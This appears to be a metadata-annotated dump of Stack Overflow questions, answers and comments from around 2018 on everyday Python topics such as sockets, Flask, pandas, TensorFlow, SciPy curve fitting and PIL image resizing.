comment on: http://stackoverflow.com/a/49480569
has text: There should be `tf.contrib.framework.nest.pack_sequence_as`. [See here](https://www.tensorflow.org/api_docs/python/tf/contrib/framework/nest/pack_sequence_as)
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86016314
comment on: http://stackoverflow.com/q/49506102
has text: @user2249207: that's only half the solution.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49492880
type: Question
has body: Here is full code of my simple socket python server. It returns errno 10035 upon connection from the client? Also I included 'c.setblocking(0)' because recv was blocking c socket import socket def Main(): host = "" port = 80 indic = 1 data = "" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) c, addr = s.accept() c.setblocking(0) print "Connection from: " + str(addr) while indic: data = c.recv(4096) if not data: indic = 0 print "From connected user: " + str(data) c.send("&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;/html&gt;") c.close() exit() Main()
has answer: http://stackoverflow.com/a/49493497
tagged with: sockets
tagged with: python
score: 0
type: UnansweredQuestion
answer count: 1
has title: Simple server in python 2 how to get recv to return 0

http://stackoverflow.com/comment/86202370
comment on: http://stackoverflow.com/a/49596817
score: 0
type: AnswerComment
has text: weird, i get (?,40), i am using batch_size = 5
type: Comment

http://stackoverflow.com/a/49523384
answers question: http://stackoverflow.com/q/49523293
has comment: http://stackoverflow.com/comment/86053401
has comment: http://stackoverflow.com/comment/86052844
has comment: http://stackoverflow.com/comment/86052866
type: Answer
has comment: http://stackoverflow.com/comment/86053095
accepted answer of: http://stackoverflow.com/q/49523293
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86053267
has body: Your first problem is that, if totaltime is 1746, then (totaltime +1) //1000) is 1. So you're looping over range(1, 1), which means you're not looping at all. Your second problem is that the scales are all way off, probably because you got one * and / mixed up somewhere. Everyone is moving so slowly that it'll take a ridiculous number of steps before Joe meets Jill. But even if you ignore your totaltime and add a huge number of steps, neither of them ever meet the dog. They're not moving continuously, they're moving discretely. So Joe ends up crossing the dog's position between two steps. Try adding a print call to see all three positions at each step, and you'll see all of these problems. Even if you tweaked the numbers so that one of the people should meet the dog exactly at one of the steps, it might still fail. You're using floats. Most real numbers can't be represented exactly as floats, so the result of two different calculations that should both come out to 900.0 in ideal math could come out to just over 900 and just under 900 with float math. You could solve this by using math.isclose instead of ==. But you need to solve the previous problem anyway, and doing that will solve this one. So, after you solve the calculation for the first two problems, how can you solve the last two? You need to use &lt;= and &gt;= in appropriate ways instead of ==. Which probably means keeping track of what the results were last time through the loop. If Joe &lt; dog now, but Joe > dog a step ago, they've crossed each other. That's what you need to test for.
has comment: http://stackoverflow.com/comment/86053208

http://stackoverflow.com/a/49480028
type: Answer
has body: Here is my code and plotted result, with the scipy.optimize.differential_evolution module used to estimate initial parameters for the non-linear solver. Note that this code uses a variation on the Lorentzian peak equation similar to yours, however lines 20 and 21 allow you to select the equation. The peak equation in your code does not appear to fit the narrow peak of the data as well as the recommended peak equation currently selected. import numpy as np import matplotlib import matplotlib.pyplot as plt from scipy.optimize import curve_fit import warnings from scipy.optimize import differential_evolution # bounds on parameters are set in generate_Initial_Parameters() below def func_original(x,a,b,c): return a/(x**2)+b+c*x**2 # bounds on parameters are set in generate_Initial_Parameters() below def func_recommended(x,a,b,c): return a / (b + (x-c)**2) # select peak function here #func = func_original func = func_recommended # function for genetic algorithm to minimize (sum of squared error) # bounds on parameters are set in generate_Initial_Parameters() below def sumOfSquaredError(parameterTuple): warnings.filterwarnings("ignore") # do not print warnings by genetic algorithm return np.sum((yData - func(xData, *parameterTuple)) ** 2) def generate_Initial_Parameters(): # data min and max used for bounds maxX = max(xData) minX = min(xData) maxY = max(yData) minY = min(yData) minSearch = min([minX, minY]) maxSearch = max([maxX, maxY]) parameterBounds = [] parameterBounds.append([minSearch, maxSearch]) # parameter bounds for a parameterBounds.append([minSearch, maxSearch]) # parameter bounds for b parameterBounds.append([minSearch, maxSearch]) # parameter bounds for c # "seed" the numpy random number generator for repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds, seed=3) return result.x # load data from text file data=np.loadtxt('impedancia.txt') use=np.transpose(data) yData=use[0] xData=use[1] # generate initial parameter values initi…
answers question: http://stackoverflow.com/q/49475447
score: 0

http://stackoverflow.com/comment/85959265
comment on: http://stackoverflow.com/q/49477731
type: QuestionComment
type: Comment
score: 2
has text: Please take the time to read [How do I ask a good question?](https://stackoverflow.com/help/how-to-ask) and [How to create a Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve).

http://stackoverflow.com/a/49948870
downvote count: 0
has body: from flask import Flask, Blueprint, g, redirect, request, \ session, abort, render_template, url_for, Response, make_response import datetime app = Flask(__name__, template_folder='../templates') main = Blueprint('main', __name__, url_prefix='/<lang_code>') app.url_map.strict_slashes = False app.secret_key='p9uyg7yuwriwjigjergkrgrrrr' app.config['SUPPORTED_LANGUAGES'] = {'ka': 'Georgian', 'en': 'English'} translation_list = [{ 'name': 'anytrans', 'ka': 'ქარ', 'en': 'Eng'}, { 'name': 'any', 'ka': 'რამე', 'en': 'Any'}, ] @main.before_request def ensure_lang_support(): lang_code = g.get('lang_code', None) session['lang_code'] = lang_code if lang_code and lang_code not in app.config['SUPPORTED_LANGUAGES'].keys(): ''' fix for unsupported lang inserted ''' session['lang_code'] = '/ka/' g.lang_code = 'ka' return abort(404) @main.context_processor def inject_language(): return dict(sess_lang=g.lang_code) @main.url_defaults def add_language_code(endpoint, values): if 'lang_code' in values or not g.get('lang_code', None): return if app.url_map.is_endpoint_expecting(endpoint, 'lang_code'): values['lang_code'] = g.lang_code @main.url_value_preprocessor def pull_lang_code(endpoint, values): g.lang_code = values.pop('lang_code') @main.route('/change/<new_lang_code>', methods=['POST','GET']) def change(new_lang_code): response = make_response(session["lang_code"]) session['lang_code'] = new_lang_code response.set_cookie('lang_code', new_lang_code) return response @main.after_request def set_lang_cookie(response): response.set_cookie('lang_code', g.lang_code) return response @main.context_processor def inject_translations(): return dict(translations=get_translation()) def get_translation(): lang = g.lang_code translations = {} for trans in translation_list: translations.update({trans['name']:trans[lang]}) return translations @main.route('/') def index(): return render_template('index.html') @main.route('/home/hale/') def home(): url = url_for('main.index') return render_template('i…
type: Answer
score: 4
accepted answer of: http://stackoverflow.com/q/49496761
upvote count: 4
answers question: http://stackoverflow.com/q/49496761
type: AcceptedAnswer

http://stackoverflow.com/q/49441748
tagged with: tensorflow
type: Question
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49442269
has answer: http://stackoverflow.com/a/49442269
has body: Does anyone know what is going on with this output? I'm having a hard time discerning the problem from it, but it looks like it could be the adam optimizer? I'm using tf-nightly-gpu with cuda 9.0, and CudNN 7.0 with a gtx 1080n on my windows desktop. The code runs (very slowly) on my linux laptop with tf-gpu 1.7.0rc0 and the same CUDA and CuDNN versions. The GPU is a Quadro K1000M Here is the error output (warning long): (tensorflow) C:\Users\Grant\Documents\GitHub\MLAPM&gt;python bdgru_anomaly.py Using TensorFlow backend. Loading data... wave1 1000 wave2 1000 wave3 50 Length of Data 1000 Creating train data... Mean of train data : -0.00142787279724 Train data shape : (600, 100) X shape: (600, 99) y shape: (600,) Creating test data... Mean of test data : 0.0165107915353 Test data shape : (400, 100) Shape X_train (3049, 99) Shape X_test (400, 99) Data Loaded. Compiling... Compilation Time : 0.018500089645385742 Training... Train on 2896 samples, validate on 153 samples Epoch 1/1 2018-03-22 21:54:52.332961: I C:\tf_jenkins\workspace\tf-nightly-windows\M\windows-gpu\PY\36\tensorflow\core\common_runtime\gpu\gpu_device.cc:1344] Found device 0 with properties: name: GeForce GTX 1080 major: 6 minor: 1 memoryClockRate(GHz): 1.86 pciBusID: 0000:01:00.0 totalMemory: 8.00GiB freeMemory: 6.59GiB 2018-03-22 21:54:52.341683: I C:\tf_jenkins\workspace\tf-nightly-windows\M\windows-gpu\PY\36\tensorflow\core\common_runtime\gpu\gpu_device.cc:1423] Adding visible gpu devices: 0 2018-03-22 21:55:26.674106: I C:\tf_jenkins\workspace\tf-nightly-windows\M\windows-gpu\PY\36\tensorflow\core\common_runtime\gpu\gpu_device.cc:911] Device interconnect StreamExecutor with strength 1 edge matrix: 2018-03-22 21:55:26.680619: I C:\tf_jenkins\workspace\tf-nightly-windows\M\windows-gpu\PY\36\tensorflow\core\common_runtime\gpu\gpu_device.cc:917] 0 2018-03-22 21:55:26.685158: I C:\tf_jenkins\workspace\tf-nightly-windows\M\windows-gpu\PY\36\tensorflow\core\common_runtime\gpu\gpu_device.cc:930] 0: N 2018-…
answer count: 1
has title: I think i cant compile the Adam optimizer on the tensorflow nightly gpu build
tagged with: keras

http://stackoverflow.com/q/49510574
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86026052
has comment: http://stackoverflow.com/comment/86026369
has comment: http://stackoverflow.com/comment/86025564
has comment: http://stackoverflow.com/comment/86025868
has comment: http://stackoverflow.com/comment/86025923
has comment: http://stackoverflow.com/comment/86025597
accepted answer: http://stackoverflow.com/a/49511154
has comment: http://stackoverflow.com/comment/86026018
has comment: http://stackoverflow.com/comment/86026178
has answer: http://stackoverflow.com/a/49511154
possible better answer: http://stackoverflow.com/a/49512043
has title: Python remove padding characters from a string
has comment: http://stackoverflow.com/comment/86025739
favorite count: 0
has comment: http://stackoverflow.com/comment/86025320
has answer: http://stackoverflow.com/a/49512043
type: Question
has comment: http://stackoverflow.com/comment/86025977
has comment: http://stackoverflow.com/comment/86025395
tagged with: python-3.x
answer count: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/86025806
has comment: http://stackoverflow.com/comment/86026004
has body: I am trying to create a function that removes the padding character from a string. Basically I have two python scripts, one will insert the padding and the other script should remove it. I already ave a function that inserts the padding as seen bellow: def padding(): message = input('Enter your message: ') padding = random.choice(string.ascii_letters) extra = len(message) % 16 if extra &gt; 0: paddedMessage = Message + (padding * (16 - extra)) I guess what I am asking is what is the best way to remove the padding from the message? Bearing in mind that the padding will always go to a multiple of 16 and will always be a random letter. Some examples of possible output of the paddedMessage could be: helloDDDDDDDDDDD this is my secret messageqqqqqqq Thanks for the help.
has comment: http://stackoverflow.com/comment/86025892
has comment: http://stackoverflow.com/comment/86025863
has comment: http://stackoverflow.com/comment/86026182
downvote count: 0
has comment: http://stackoverflow.com/comment/86026051
tagged with: python
has comment: http://stackoverflow.com/comment/86025269
has comment: http://stackoverflow.com/comment/86026159

http://stackoverflow.com/comment/86190718
has text: I am on Windows 10, I added more details to the question
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49591306

http://stackoverflow.com/comment/86004841
comment on: http://stackoverflow.com/q/49500325
score: 3
type: Comment
type: QuestionComment
has text: probably memory swapping. not sure that json is the best way when the data is that big.

http://stackoverflow.com/comment/85924498
score: 0
comment on: http://stackoverflow.com/a/49460729
type: Comment
type: AnswerComment
has text: if n = 100, I want the program to run 1 + 4 + 9 + 16 + 25 + 36 + 49 + 64 + 81 + 100 and displays the result 385. Is it possible to restrict n so it can stop looping

http://stackoverflow.com/comment/86054322
has text: What are you comparing on in the first place? Not on the state or number, I guess? Just the names?
comment on: http://stackoverflow.com/q/49524189
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49546313
score: 1
type: Answer
has body: As someone asked about that before @github, the authors then added mentioning of this to the docs. So your doc-entry to go for is sklearn's Probability calibration. A basic example was given in the github link as: from sklearn.calibration import CalibratedClassifierCV from sklearn.linear_model import SGDClassifier clf = SGDClassifier(loss='hinge') calibrated_clf = CalibratedClassifierCV(clf, cv=5, method='sigmoid') calibrated_clf.fit(X, y) But this probably won't work for partial_fit as mentioned here. So for your task it's important to know if the following works for you: no, you can't partial_fit the calibration, but you can partial_fit the underlying classifier
has comment: http://stackoverflow.com/comment/86605640
has comment: http://stackoverflow.com/comment/86115535
has comment: http://stackoverflow.com/comment/86114700
answers question: http://stackoverflow.com/q/49544057
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/49448723
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85899962
has comment: http://stackoverflow.com/comment/85907419
has comment: http://stackoverflow.com/comment/85899998
has comment: http://stackoverflow.com/comment/85900198
has body: Your can try by using .apply and .str Ex: def getLatLog(d): try: return re.findall(r"\d+\.\d+", d) except: return [None, None] df['g_latitude'], df['g_longitude'] = df["geocode_result2"].apply(lambda x: getLatLog(x)).str print(df["g_latitude"]) print(df["g_longitude"]) Output: 0 5.534454 1 5.6864962 2 5.77329565 Name: g_latitude, dtype: object 0 0.700763 1 0.1677052 2 0.110766330148484 Name: g_longitude, dtype: object
type: Answer
has comment: http://stackoverflow.com/comment/85899516
answers question: http://stackoverflow.com/q/49448335
has comment: http://stackoverflow.com/comment/85899398
downvote count: 0

http://stackoverflow.com/q/49502860
tagged with: callback
score: 2
downvote count: 0
has title: Return x, y coordinates from Bokeh graph
has answer: http://stackoverflow.com/a/49504173
tagged with: python
tagged with: bokeh
favorite count: 0
type: Question
upvote count: 2
has body: I'm trying to adapt the answer from: Get selected data contained within box select tool in Bokeh but get: NameError: name 'inds' is not defined after selecting the points. Does anyone know whats going on? Code I am using : import pandas as pd import numpy as np import matplotlib as mpl from bokeh.transform import factor_cmap, linear_cmap from bokeh.palettes import Spectral6 from bokeh.plotting import figure, output_file, show from bokeh.models import CustomJS, ColumnDataSource from bokeh.io import output_notebook import bokeh.plotting as bpl import bokeh.models as bmo from bokeh.models.tools import * output_notebook() algorithm = 'Loc' metric = 'LengthOfStayDaysNBR' coordinate_df = pd.DataFrame({'x-{}'.format(str(algorithm)[:3]):np.random.rand(500)\ ,'y-{}'.format(str(algorithm)[:3]):np.random.rand(500)\ ,metric:np.random.rand(500)}) TOOLS="pan,wheel_zoom,reset,hover,poly_select,lasso_select" p = figure(title = '{}'.format(str(algorithm)[:3]),tools=TOOLS) source = bpl.ColumnDataSource(coordinate_df) if metric == 'LengthOfStayDaysNBR': color_mapper = linear_cmap(metric,palette=Spectral6,low=coordinate_df[metric].min(),high=coordinate_df[metric].max()) else: color_mapper = factor_cmap(metric,palette=Spectral6,factors=coordinate_df[metric].unique()) p1 = figure(width=250, height = 250, title = '{}'.format(str(algorithm)[:3]),tools=TOOLS) p1.scatter('x-{}'.format(str(algorithm)[:3]),'y-{}'.format(str(algorithm)[:3]),fill_color= color_mapper, source = source) source.callback = CustomJS(args=dict(source=source), code=""" var inds = cb_obj.get('selected')['1d'].indices; var d1 = cb_obj.get('data'); console.log(d1) var kernel = IPython.notebook.kernel; IPython.notebook.kernel.execute("inds = " + inds); """ ) show(p1) # Run this after selecting for x,y in zip([source.data['x-{}'.format(str(algorithm)[:3])][i] for i in inds], [source.data['y-{}'.format(str(algorithm)[:3])][i] for i in inds]): print(x,y) To give some background: I am trying to take x/y coordinates from a large…
tagged with: lasso-regression
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/34164587
answer count: 1

http://stackoverflow.com/comment/86017461
score: 0
comment on: http://stackoverflow.com/q/49506553
type: Comment
type: QuestionComment
has text: Also note that including the first part of that code, defining an empty main method then carefully calling it only if the script is being executed directly rather than imported, is totally pointless if you're then going to have a bunch of additional code at the top level of the module that actually does everything.

http://stackoverflow.com/comment/86129384
comment on: http://stackoverflow.com/q/49560627
type: Comment
type: QuestionComment
score: 0
has text: The easiest way - using CGI interface [cgi](https://docs.python.org/3.6/library/cgi.html). See https://stackoverflow.com/questions/464040/how-are-post-and-get-variables-handled-in-python

http://stackoverflow.com/comment/86090942
comment on: http://stackoverflow.com/q/49520287
type: QuestionComment
score: 0
has text: **Content-Disposition attachment;filename="Police_calls_for_service.xls" Content-Length 4094745** that is the file you need.
type: Comment

http://stackoverflow.com/a/49597808
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49597392
type: Answer
answers question: http://stackoverflow.com/q/49597392
score: 2
has body: I figured out that the programming concept for using Google Cloud Datastore with Apache Beam (Google Cloud Dataflow) differs from the default Datastore API. You need to use the Datastore helper as given in this example. With this I was able to changed my code that now successfully runs. Notice the different import for the entity and the different entity creation process. In summary it creates the entity in the full qualified JSON notation that you will also see when exploring the Datastore in the Google Cloud Console. My original code created the entity in a much more simpler JSON that is usually also understood when writing to the Datastore. Overall I avoided the different dependencies of my original two different imports that caused the error. import apache_beam as beam from apache_beam.io.gcp.datastore.v1.datastoreio import WriteToDatastore from google.cloud.proto.datastore.v1 import entity_pb2 from google.cloud.proto.datastore.v1 import query_pb2 from googledatastore import helper as datastore_helper, PropertyFilter #from google.cloud import datastore #from google.cloud.datastore.entity import Entity def create_entity(_id, name): entity = entity_pb2.Entity() kind = "test_entity" datastore_helper.add_key_path(entity.key, kind, _id) datastore_helper.add_properties(entity, { "name": unicode(name) }) return entity class PrintFn(beam.DoFn): def process(self, element): print (element) return None project_id = 'your-gcp-project-id' lines = [ "'0815';'entity A'", "'4711';'entity B'" ] with beam.Pipeline() as p: (p | 'read lines' &gt;&gt; beam.Create(lines) | 'rows to columns' &gt;&gt; beam.Map(lambda v: v.split(';')) | 'remove quotes' &gt;&gt; beam.Map(lambda words: [word.strip('\'') for word in words]) | 'create entities' &gt;&gt; beam.Map(lambda fields: create_entity(*fields)) | 'write to datastore' &gt;&gt; WriteToDatastore(project_id) # | 'debug print' &gt;&gt; beam.ParDo(PrintFn()) )

http://stackoverflow.com/q/49543194
type: Question
has comment: http://stackoverflow.com/comment/86121065
has title: Pandas conditional Groupby min
type: UnansweredQuestion
has body: In the dataframe below, I need df['output'] to fill in the date for each df['SubGroup'] conditionally. If df['HardDate'] exists for df['SubGroup'], use df['HardDate'] elif minimum (earliest) BookDate where df['Values'] is not null. and then possibly df.apply the function to achieve desired output. | MainGroup | SubGroup | BookDate |Values | HardDate | **Output** | |-----------|----------|-----------|-------|------------|------------| | Group1 | SubG1 | 1/1/2000 | Null | 10/10/2010 | 10/10/2010 | | Group1 | SubG1 | 2/1/2000 | Null | 10/10/2010 | 10/10/2010 | | Group1 | SubG1 | 3/1/2000 | 350 | 10/10/2010 | 10/10/2010 | | Group1 | SubG1 | 4/1/2000 | 400 | 10/10/2010 | 10/10/2010 | | Group1 | DiffG2 | 9/1/2012 | 6000 | Null | 9/1/2012 | | Group1 | DiffG2 | 10/1/2012 | 7000 | Null | 9/1/2012 | | Group1 | DiffG2 | 11/1/2012 | 8000 | Null | 9/1/2012 | | Group1 | DiffG2 | 12/1/2012 | 9000 | Null | 9/1/2012 | | Group2 | AltG1 | 5/1/1999 | Null | Null | 6/1/1999 | | Group2 | AltG1 | 6/1/1999 | 190 | Null | 6/1/1999 | | Group2 | AltG1 | 7/1/1999 | 290 | Null | 6/1/1999 | | Group2 | AltG1 | 8/1/1999 | 390 | Null | 6/1/1999 | I tried the following which pulls min date, but does not include any filter. df['BookDate'].iloc[df.groupby(by = ['MainGroup','SubGroup'])[‘Book_Date’].idxmin(axis=1)] Trying to add a df['BookDate'].loc[date slice] results in an error
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/86094212
score: 0
tagged with: pandas-groupby
tagged with: pandas
has answer: http://stackoverflow.com/a/49544164
answer count: 1
has comment: http://stackoverflow.com/comment/86095705

http://stackoverflow.com/a/64575817
type: Answer
answers question: http://stackoverflow.com/q/49471831
has body: Besides what @Andy Lance has said above, you can use render_kw in your flask forms. Say you have a forms.py: class CommentForm(FlaskForm): comment = TextAreaField('Comment', validators=[DataRequired()]) #<---------Add placeholder info submit = SubmitField('Post') Modify the TextAreaField to include render_kw: class CommentForm(FlaskForm): comment = TextAreaField('Comment', validators=[DataRequired()], render_kw={"placeholder": "Markdown Enabled"}) #<---------placeholder info added submit = SubmitField('Post') You do not have to modify your templates do display the keywords. Maintain your template as (if using flask-bootstrap): {{ wtf.quick_form(form) }}
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/118346156
comment on: http://stackoverflow.com/q/49535318
score: 0
type: Comment
type: QuestionComment
has text: What is the range of the histogram (ie the min/max values in `im[h,w,:3]`)? Are the pixel colors integers in the range `[0;255]` ?

http://stackoverflow.com/comment/86084863
comment on: http://stackoverflow.com/q/49536324
type: QuestionComment
has text: are you sure the images are right? All I see is white background nothing else in all 3 links.
score: 0
type: Comment

http://stackoverflow.com/comment/86205836
score: 1
type: Comment
has text: because you introduce not needed temp variables in not needed functions, therefor delivering bad pythonesque code - which I deemed not really helpfull. simply return y,x would be the "fix" if you really wanted a function to do this - but still the overhead of switching context is _bad_ usage of python
type: AnswerComment
comment on: http://stackoverflow.com/a/49599273

http://stackoverflow.com/comment/85911324
score: 0
has text: In fact i am wondering if the problem is not that some chars are not encoded on 1 byte
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49451212

http://stackoverflow.com/a/49547196
type: Answer
accepted answer of: http://stackoverflow.com/q/49547165
has body: Option 1 As long as this is pairs we're talking about, let's try a list comprehension: flatPairs = [ [x, y] if i % 2 == 0 else [y, x] for i, (x, y) in enumerate( zip(pleatedTuple[::2], pleatedTuple[1::2]) ) ] You can also build this from scratch using a loop: flatPairs = [] for i, (x, y) in enumerate(zip(pleatedTuple[::2], pleatedTuple[1::2])): if i % 2 == 0: flatPairs.append([x, y]) else: flatPairs.append([y, x]) print(flatPairs) [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]] Option 2 Use Ned Batchelder's chunking subroutine chunks and flip every alternate sublist: # https://stackoverflow.com/a/312464/4909087 def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n] Call chunks and exhaust the returned generator to get a list of pairs: flatPairs = list(chunks(pleatedTuple, n=2)) Now, reverse every other pair with a loop. for i in range(1, len(flatPairs), 2): flatPairs[i] = flatPairs[i][::-1] print(flatPairs) [(0, 1), (2, 3), (4, 5), (6, 7), (8, 9)] Note that in this case, the result is a list of tuples. Performance (of my answers only) I'm interested in performance, so I've decided to time my answers: # Setup pleatedTuple = tuple(range(100000)) # List comp 21.1 ms ± 1.1 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) # Loop 20.8 ms ± 1.71 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) # chunks 26 ms ± 2.19 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) For more performance, you may replace the chunks generator with a more performant alternative: flatPairs = list(zip(pleatedTuple[::2], pleatedTuple[1::2])) And then reverse with a loop as required. This brings the time down considerably: 13.1 ms ± 994 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) A 2x speedup, phew! Beware though, this isn't nearly as memory efficient as the generator would be...
answers question: http://stackoverflow.com/q/49547165
has comment: http://stackoverflow.com/comment/86101940
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86102052
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/86291832

http://stackoverflow.com/comment/86035679
type: QuestionComment
score: 2
has text: Calling a function doesn't automatically store its return value in a magically created variable. If you want to get the return value in the `price` variable, you have to assign it there: `price = equation(5, 10)`.
comment on: http://stackoverflow.com/q/49515322
type: Comment

http://stackoverflow.com/comment/85906952
type: QuestionComment
comment on: http://stackoverflow.com/q/49452036
has text: I can't reproduce the issue... I get 1000 and 0 (after fixing the indentation, so I suppose it could be an indentation issue somewhere).
score: 1
type: Comment

http://stackoverflow.com/q/49507801
linked to: http://stackoverflow.com/q/10006891
tagged with: memory
answer count: 1
has title: Arrays allocated at same address Cython + Numpy
favorite count: 0
tagged with: numpy
type: Question
upvote count: 2
tagged with: arrays
has comment: http://stackoverflow.com/comment/86020718
tagged with: python
has answer: http://stackoverflow.com/a/49509370
has comment: http://stackoverflow.com/comment/86020569
has body: I came across some funny memory behavior working with numpy + cython, while trying to get data from a numpy array as a C array, to use in a GIL-free function. I've taken look at both the cython and numpy's array API but I haven't found any explanation. So consider the following lines of code: cdef np.float32_t *a1 = &lt;np.float32_t *&gt;np.PyArray_DATA(np.empty(2, dtype="float32")) print "{0:x}".format(&lt;unsigned int&gt;a1) cdef np.float32_t *a2 = &lt;np.float32_t *&gt;np.PyArray_DATA(np.empty(2, dtype="float32")) print "{0:x}".format(&lt;unsigned int&gt;a2)[] I allocate two numpy arrays with numpy's empty function, and want to retrieve a pointer to the data buffer for each of them. You would expect these two pointers to point to two different memory addresses on the heap, possibly spaced by 2*4 bytes. But no, I get pointers to the same memory address, e.g. &gt;&gt;&gt;96a7aec0 &gt;&gt;&gt;96a7aec0 How come? I managed to work around that by declaring my numpy arrays outside of the PyArray_DATA call, in such case, I get what I expect. The only explanation I can think of, is that I don't create any Python object out of the scope of the PyArray_DATA function, and calling this function doesn't increment Python's reference count. Therefore the GC reclaims this memory space right after, and the next array is allocated at the now free previous memory address. Could somebody more cython-savvy than me could confirm that or give another explanation?
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49509370
has comment: http://stackoverflow.com/comment/86020104
has comment: http://stackoverflow.com/comment/86020275
downvote count: 0
tagged with: cython

http://stackoverflow.com/q/49565298
has comment: http://stackoverflow.com/comment/86146975
has answer: http://stackoverflow.com/a/63858001
has comment: http://stackoverflow.com/comment/86549048
tagged with: python
favorite count: 0
type: Question
answer count: 2
type: UnansweredQuestion
has body: I'm making a web app using Flask, and I want to resize the images that are uploaded. I'm using PIL to do this, but an error is thrown. The process to do it is like this, but it seems inefficient: filename = secure_filename(form.image.data.filename) form.image.data.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) img = Image.open(os.path.join(app.config['UPLOAD_FOLDER'],filename), 'r') img = img.resize(300, 300) img.save(filename, quality=100, optimize=True) What I'm trying to do is save the image after the user uploaded it, open the new file, resize it, and save it again. How can I fix my error? Also is there a way to do this more efficiently (without saving the un-resized file), using a Python library?
downvote count: 0
has answer: http://stackoverflow.com/a/49766808
tagged with: flask
score: 19
has title: PIL: ValueError: unknown resampling filter, How to resize images uploaded on Flask?
upvote count: 19
tagged with: python-imaging-library

http://stackoverflow.com/a/49466386
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49465996
type: Answer
has comment: http://stackoverflow.com/comment/85935555
answers question: http://stackoverflow.com/q/49465996
score: 0
has body: You are calling the Send() function instead of passing it as parameters, that's why it blocks. Drop the () after target=Send(): Thread(target=Send).start()

http://stackoverflow.com/comment/86620447
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49633983
has text: @samtew i updated answer based on your comment, let me know if still doesn't work
score: 0

http://stackoverflow.com/q/49539866
score: -2
has body: I am still fairly new to coding however I am trying to open a CSV file in my python script to show that I can at least connect to the file and then write a new file. This is important because my final script is going to need to talk to our server and save a CSV file onto our NAS. I have attempted the following just to see if I can open a CSV file in python and nothing is working. First Code: def CSV_Creation(): with open('test.csv', 'r') as csv_file: csv_reader = csv.reader(csv_file) for row in csv_reader: print(row[0]) CSV_Creation() Second Code: def CSV_Creation(): os.getcwd()#if there is an issue check right here for testing and debugging os.chdir(os.path.expanduser("~/Documents")) os.getcwd() #second test to determine the correct path is being used print (os.getcwd()) f = open("~/Documents/'test.csv'") with open('test.csv', 'r') as csv_file: csv_reader = csv.reader(csv_file) for row in csv_reader: print(row[0]) CSV_Creation() Now I already have the CSV file created in the Documents folder but its still producing the following error: Traceback (most recent call last): File "/Users/REDACTED/Documents/Python Projects/BBEditRunTemp-networktest.py", line 59, in CSV_Creation() File "/Users/REDACTED/Documents/Python Projects/BBEditRunTemp-networktest.py", line 53, in CSV_Creation f = open("Users/REDACTED/Documents/'test.csv'") FileNotFoundError: [Errno 2] No such file or directory: "Users/REDACTED/Documents/'test.csv'" NOTE: ignore the REDACTED portion I just changed the user name for this instance. Any help on this would be greatly appreciated.
has comment: http://stackoverflow.com/comment/86087018
has comment: http://stackoverflow.com/comment/86086956
has comment: http://stackoverflow.com/comment/86087684
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86086986
answer count: 2
downvote count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/49539969
favorite count: 0
accepted answer: http://stackoverflow.com/a/49540079
type: Question
has answer: http://stackoverflow.com/a/49540079
tagged with: http://stackoverflow.com/tag/csv
has title: How do you open a CSV file in Python?
possible better answer: http://stackoverflow.com/a/49539969
tagged with: python

http://stackoverflow.com/comment/85902965
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49448661
has text: I agree with what you said mostly (it's what I suggested in my comment on the original question), but why use `Counter` here rather than the intended method? I think `fd.most_common()` uses `Counter` anyway?

http://stackoverflow.com/comment/86013570
has text: why? it will always evaluate to `True` unless you really screw with the class.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49504461
type: QuestionComment

http://stackoverflow.com/comment/86088508
score: 0
has text: @chriz Anaconda bundles quite a bit that would not be there in practice with our product. So using anaconda could suppress errors that would show up on a production set up. Its especially important since system dependencies are my main concern here.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49540378

http://stackoverflow.com/comment/86107050
type: AnswerComment
has text: @Eastsun Yes, it works for any column with dtype=object.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49547711

http://stackoverflow.com/comment/115091108
type: Comment
comment on: http://stackoverflow.com/a/59459829
score: 0
type: AnswerComment
has text: I tried this module, it's easier to use but the limit is so small

http://stackoverflow.com/q/49529156
